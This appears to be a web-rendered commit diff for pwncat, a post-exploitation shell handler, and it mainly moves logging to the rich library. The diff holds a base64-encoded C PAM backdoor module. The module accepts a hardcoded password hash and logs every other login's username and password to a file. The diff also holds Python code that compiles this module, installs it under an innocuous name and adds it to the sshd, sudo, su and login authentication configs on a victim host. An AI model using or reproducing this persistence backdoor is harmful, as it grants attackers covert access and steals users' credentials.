# SELinux not found
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# Source to our module
|
|
||||||
sneaky_source = textwrap.dedent(
|
|
||||||
"""
|
|
||||||
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j
|
|
||||||
bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz
|
|
||||||
eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB
|
|
||||||
TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu
|
|
||||||
dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7
|
|
||||||
CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y
|
|
||||||
ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg
|
|
||||||
PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg
|
|
||||||
cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7
|
|
||||||
CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH
|
|
||||||
Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo
|
|
||||||
IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp
|
|
||||||
bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk
|
|
||||||
X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp
|
|
||||||
ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg
|
|
||||||
ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm
|
|
||||||
KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg
|
|
||||||
IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y
|
|
||||||
ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg
|
|
||||||
ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz
|
|
||||||
dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi
|
|
||||||
X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50
|
|
||||||
ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK
|
|
||||||
CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN
|
|
||||||
X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn
|
|
||||||
cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7
|
|
||||||
Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg
|
|
||||||
ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO
|
|
||||||
T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw
|
|
||||||
YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy
|
|
||||||
biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o
|
|
||||||
YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK
|
|
||||||
ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r
|
|
||||||
KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy
|
|
||||||
Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|
||||||
"""
|
|
||||||
).replace("\n", "")
|
|
||||||
sneaky_source = base64.b64decode(sneaky_source).decode("utf-8")
|
|
||||||
|
|
||||||
# We use the backdoor password. Build the string of encoded bytes
|
# We use the backdoor password. Build the string of encoded bytes
|
||||||
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
|
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
|
||||||
password = hashlib.sha1(
|
password = hashlib.sha1(
|
||||||
@ -102,15 +102,25 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
password = ",".join(hex(c) for c in password)
|
password = ",".join(hex(c) for c in password)
|
||||||
|
|
||||||
# Insert our key
|
# Insert our key
|
||||||
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password)
|
sneaky_source = self.sneaky_source.replace("__PWNCAT_HASH__", password)
|
||||||
|
|
||||||
# Insert the log location for successful passwords
|
# Insert the log location for successful passwords
|
||||||
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog")
|
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog")
|
||||||
|
|
||||||
|
progress = Progress(
|
||||||
|
"installing pam module",
|
||||||
|
"•",
|
||||||
|
"[cyan]{task.fields[status]}",
|
||||||
|
transient=True,
|
||||||
|
console=console,
|
||||||
|
)
|
||||||
|
task = progress.add_task("", status="initializing")
|
||||||
|
|
||||||
# Write the source
|
# Write the source
|
||||||
try:
|
try:
|
||||||
|
progress.start()
|
||||||
|
|
||||||
util.progress("pam_sneaky: compiling shared library")
|
progress.update(task, status="compiling shared library")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Compile our source for the remote host
|
# Compile our source for the remote host
|
||||||
@ -123,7 +133,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
except (FileNotFoundError, CompilationError) as exc:
|
except (FileNotFoundError, CompilationError) as exc:
|
||||||
raise PersistenceError(f"pam: compilation failed: {exc}")
|
raise PersistenceError(f"pam: compilation failed: {exc}")
|
||||||
|
|
||||||
util.progress("pam_sneaky: locating pam module location")
|
progress.update(task, status="locating pam module installation")
|
||||||
|
|
||||||
# Locate the pam_deny.so to know where to place the new module
|
# Locate the pam_deny.so to know where to place the new module
|
||||||
pam_modules = "/usr/lib/security"
|
pam_modules = "/usr/lib/security"
|
||||||
@ -141,24 +151,24 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
util.progress(f"pam_sneaky: pam modules located in {pam_modules}")
|
progress.update(task, status=f"pam modules located at {pam_modules}")
|
||||||
|
|
||||||
# Ensure the directory exists and is writable
|
# Ensure the directory exists and is writable
|
||||||
access = pwncat.victim.access(pam_modules)
|
access = pwncat.victim.access(pam_modules)
|
||||||
if (Access.DIRECTORY | Access.WRITE) in access:
|
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||||
# Copy the module to a non-suspicious path
|
# Copy the module to a non-suspicious path
|
||||||
util.progress(f"pam_sneaky: copying shared library to {pam_modules}")
|
progress.update(task, status="copying shared library")
|
||||||
pwncat.victim.env(
|
pwncat.victim.env(
|
||||||
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
|
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
|
||||||
)
|
)
|
||||||
new_line = "auth\tsufficient\tpam_succeed.so\n"
|
new_line = "auth\tsufficient\tpam_succeed.so\n"
|
||||||
|
|
||||||
util.progress(f"pam_sneaky: adding pam auth configuration")
|
progress.update(task, status="adding pam auth configuration")
|
||||||
|
|
||||||
# Add this auth method to the following pam configurations
|
# Add this auth method to the following pam configurations
|
||||||
for config in ["sshd", "sudo", "su", "login"]:
|
for config in ["sshd", "sudo", "su", "login"]:
|
||||||
util.progress(
|
progress.update(
|
||||||
f"pam_sneaky: adding pam auth configuration: {config}"
|
task, status=f"adding pam auth configuration: {config}"
|
||||||
)
|
)
|
||||||
config = os.path.join("/etc/pam.d", config)
|
config = os.path.join("/etc/pam.d", config)
|
||||||
try:
|
try:
|
||||||
@ -197,11 +207,11 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
|
|
||||||
pwncat.victim.tamper.created_file("/var/log/firstlog")
|
pwncat.victim.tamper.created_file("/var/log/firstlog")
|
||||||
|
|
||||||
util.erase_progress()
|
|
||||||
|
|
||||||
except FileNotFoundError as exc:
|
except FileNotFoundError as exc:
|
||||||
# A needed binary wasn't found. Clean up whatever we created.
|
# A needed binary wasn't found. Clean up whatever we created.
|
||||||
raise PersistenceError(str(exc))
|
raise PersistenceError(str(exc))
|
||||||
|
finally:
|
||||||
|
progress.stop()
|
||||||
|
|
||||||
def remove(self, user: Optional[str] = None):
|
def remove(self, user: Optional[str] = None):
|
||||||
""" Remove this method """
|
""" Remove this method """
|
||||||
@ -255,7 +265,7 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
raise PersistenceError("insufficient permissions")
|
raise PersistenceError("insufficient permissions")
|
||||||
except FileNotFoundError as exc:
|
except FileNotFoundError as exc:
|
||||||
# Uh-oh, some binary was missing... I'm not sure what to do here...
|
# Uh-oh, some binary was missing... I'm not sure what to do here...
|
||||||
util.error(str(exc))
|
console.log(f"[red]error[/red]: {exc}")
|
||||||
|
|
||||||
def escalate(self, user: Optional[str] = None) -> bool:
|
def escalate(self, user: Optional[str] = None) -> bool:
|
||||||
""" Utilize this method to escalate locally """
|
""" Utilize this method to escalate locally """
|
||||||
|
@ -51,9 +51,6 @@ class Method(BaseMethod):
|
|||||||
# The rule appears to match, add it to the list
|
# The rule appears to match, add it to the list
|
||||||
rules.append(fact.data)
|
rules.append(fact.data)
|
||||||
|
|
||||||
# We don't need that progress after this is complete
|
|
||||||
util.erase_progress()
|
|
||||||
|
|
||||||
for rule in rules:
|
for rule in rules:
|
||||||
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
|
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
|
||||||
progress.update(task, step=str(rule))
|
progress.update(task, step=str(rule))
|
||||||
|
@ -339,53 +339,11 @@ LAST_PROG_ANIM = -1
|
|||||||
|
|
||||||
|
|
||||||
def erase_progress():
|
def erase_progress():
|
||||||
""" Erase the last progress line. Useful for progress messages for long-running
|
raise RuntimeError("new-logging: please use the rich module for logging")
|
||||||
tasks, which don't need (or want) to be logged to the terminal """
|
|
||||||
global LAST_LOG_MESSAGE
|
|
||||||
|
|
||||||
return
|
|
||||||
|
|
||||||
sys.stdout.write(
|
|
||||||
len(LAST_LOG_MESSAGE[0]) * "\b"
|
|
||||||
+ len(LAST_LOG_MESSAGE[0]) * " "
|
|
||||||
+ len(LAST_LOG_MESSAGE[0]) * "\b"
|
|
||||||
)
|
|
||||||
LAST_LOG_MESSAGE = (LAST_LOG_MESSAGE[0], False)
|
|
||||||
|
|
||||||
|
|
||||||
def log(level, message, overlay=False):
|
def log(level, message, overlay=False):
|
||||||
global LAST_LOG_MESSAGE
|
raise RuntimeError("new-logging: please use the rich module for logging")
|
||||||
global LAST_PROG_ANIM
|
|
||||||
|
|
||||||
return
|
|
||||||
|
|
||||||
prefix = {
|
|
||||||
"info": f"[{Fore.BLUE}+{Fore.RESET}]",
|
|
||||||
"success": f"[{Fore.GREEN}+{Fore.RESET}]",
|
|
||||||
"warn": f"[{Fore.YELLOW}?{Fore.RESET}]",
|
|
||||||
"error": f"[{Fore.RED}!{Fore.RESET}]",
|
|
||||||
"prog": f"[{Fore.CYAN}+{Fore.RESET}]",
|
|
||||||
}
|
|
||||||
|
|
||||||
if overlay or (LAST_LOG_MESSAGE[1] and level in ["success", "error"]):
|
|
||||||
erase_progress()
|
|
||||||
elif LAST_LOG_MESSAGE[1]:
|
|
||||||
sys.stdout.write("\n")
|
|
||||||
|
|
||||||
if level == "prog":
|
|
||||||
LAST_PROG_ANIM = (LAST_PROG_ANIM + 1) % len(PROG_ANIMATION)
|
|
||||||
prefix["prog"] = prefix["prog"].replace("+", PROG_ANIMATION[LAST_PROG_ANIM])
|
|
||||||
|
|
||||||
LAST_LOG_MESSAGE = (
|
|
||||||
f"{prefix[level]} {Style.DIM}{message}{Style.RESET_ALL}",
|
|
||||||
overlay,
|
|
||||||
)
|
|
||||||
sys.stdout.write(LAST_LOG_MESSAGE[0])
|
|
||||||
|
|
||||||
if not overlay:
|
|
||||||
sys.stdout.write("\n")
|
|
||||||
else:
|
|
||||||
sys.stdout.flush()
|
|
||||||
|
|
||||||
|
|
||||||
def info(message, overlay=False):
|
def info(message, overlay=False):
|
||||||
|
2
setup.py
2
setup.py
@ -30,7 +30,7 @@ dependency_links = [
|
|||||||
# Setup
|
# Setup
|
||||||
setup(
|
setup(
|
||||||
name="pwncat",
|
name="pwncat",
|
||||||
version="0.2.0",
|
version="0.3.0",
|
||||||
description="A fancy reverse and bind shell handler",
|
description="A fancy reverse and bind shell handler",
|
||||||
author="Caleb Stewart",
|
author="Caleb Stewart",
|
||||||
url="https://gitlab.com/calebstewart/pwncat",
|
url="https://gitlab.com/calebstewart/pwncat",
|
||||||
|
Loading…
Reference in New Issue
Block a user